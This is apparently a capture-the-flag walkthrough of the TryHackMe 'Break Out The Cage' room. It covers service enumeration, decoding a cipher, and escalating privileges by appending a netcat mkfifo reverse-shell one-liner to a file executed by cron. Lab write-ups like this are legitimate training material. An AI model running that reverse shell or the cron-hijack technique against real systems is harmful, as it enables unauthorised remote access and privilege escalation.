> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/untitled/break-out-the-cage.md).

# Break Out The Cage

![](/files/-Mc_gO-d_U-NjDklPL15)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.96.253
```

![](/files/-Mc_go0lKUWN1_HtivwB)

Detailed Nmap Scan : 

Command Breakdown: 

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 21,22,80 -oN nmap 10.10.96.253
```

![](/files/-Mc_gvBB95Ee5LtYU1Zz)

## Enumeration

### Port 21: FTP

Anonymous login is allowed, so lets go check it out and download the files on the server

![](/files/-Mc_hZwWRw_Ng05qhNPs)

Lets read the file

![](/files/-Mc_hh8C7jG5H4WCH23T)

Looks like its encrypted, lets crack it using [CyberChef](https://gchq.github.io/CyberChef/)

![](/files/-Mc_i6K92LJk-gwj_gEh)

It looks like it has been encrypted twice, lets find out what this says too.

![](/files/-Mc_q90nkF1eilFMy1Pj)

This looks like a password, we can try logging into SSH but lets first check Port 80: HTTP

### Port 80: HTTP

![](/files/-Mc_j-SWvbIZYGReGm9T)

Looking at the page, we have a username: `Weston`. None of the links on the page work, so lets `gobuster` to find hidden directories.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.96.253/
```

![](/files/-Mc_oJEGTRk4sGsthu5J)

There is nothing of interest in the `/scripts` file, the `/contracts` directory has an empty file. The auditions has a interesting file.

![](/files/-Mc_oZE0o5jB_1pB8pJt)

Lets download this to our machine

![](/files/-Mc_oojra9yRu-OH31rQ)

We can look at this file with a tool called `Sonic Visualizer`, lets open the file in the app.

![](/files/-Mc_rHT97PfA7wOdrkb2)

Now go to pane and then go to `Add Spectrogram` click the first option , we are doing this to add a spectrogram so that we can look at hidden data.

![](/files/-Mc_szmkDlXt46_MtHLM)

We can see a box, lets see what is says.

![](/files/-Mc_tBgQPnMbmPAeGn-x)

After changing the color to get a better visual, we can see that it says `namelesstwo`. Checking around I found out that this is the key for the vignenere cipher that we can use to crack the text we found before.

![](/files/-Mc_tgYitDjQ2182oO6J)

We have the same text we found before, lets login through ssh now with the username we found in the start `Weston`.

![](/files/-Mc_u3tEkpnR9qhvLJJ3)

As the password worked, we can answer the first question

![](/files/-Mc_uI3mJ_U7TYCgp0I3)

## Privilege Escalation

I was looking around when a message popped up.

![](/files/-Mc_uX1AM4alDafOGiHA)

It looks like there is a cronjob running that executes this script every few minutes, lets go find it. I was searching for a while and could not find it, so lets transfer a tool onto this machine called [pspy ](https://github.com/DominicBreuker/pspy)and have it find the `cron` file.

To transfer this file, lets start a http listener on our machine and download the file on the victim machine wget. If you just downloaded it, make sure to make it an executable.

![](/files/-Mc_w_G0SjXhQnwC8WNE)

Now lets start a http server.

![](/files/-Mc_wghdmITesU98GTJr)

Now lets download the file on the victims machine.

![](/files/-Mc_wtlhO4cP5ogdOxvZ)

Lets make the file an executable

![](/files/-Mc_x-C7XwKkkh6miW0t)

Now run the file.

![](/files/-Mc_x9g3kxDVn1dN95yl)

Looking through the output we find an interesting file which may be the one we are looking for.

![](/files/-Mc_xWS0xe7yX36wlPIe)

Lets check this file

![](/files/-Mc_xdkp1Jur2cc-OdRM)

Lets add a reverse shell to the file .quotes (As the .quotes file is being printed every few minutes) so that we can get a higher privileged user access, that is the owner of the file `./opt/.dads_scripts/.files/.quotes` **`cage`**. We can see this when we look at the permissions of the file

![](/files/-Mc_yrcQvbKbnK47zA0L)

The reverse shell we will be using is this

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

Lets echo the reverse shell into the file and start a netcat listener 

![](/files/-McaEbr6REtLaFndrpJF)

![](/files/-Mc_z7xqSIh8BybaOEyX)

After a while, you should get a reverse shell

![](/files/-Mca-dAeY1NvYey3HWFR)

Lets stabilize the shell

![](/files/-Mca-tDIAZqCZ1-R7_Aa)

Lets read the file in this directory

![](/files/-Mca0Bm_n_Myk6E-HlQW)

We have the user flag.

Next lets cd into the email backup folder and read all the files

![](/files/-McaBbvMVj4Gp4fSlbqX)

Looking through the files, the only interesting thing I found is the string in the third email and the number of times the word `FACE` has been used, this might be something that will help us, now lets copy it and try to crack it using Cyber Chef.

![](/files/-McaCAaCRJ1l3047v3Pl)

So `FACE` was actually the Key to crack this password, this is the password for the root account, lets switch users and read the root flag.

![](/files/-McaDtCHgjf1XvW7Xlpd)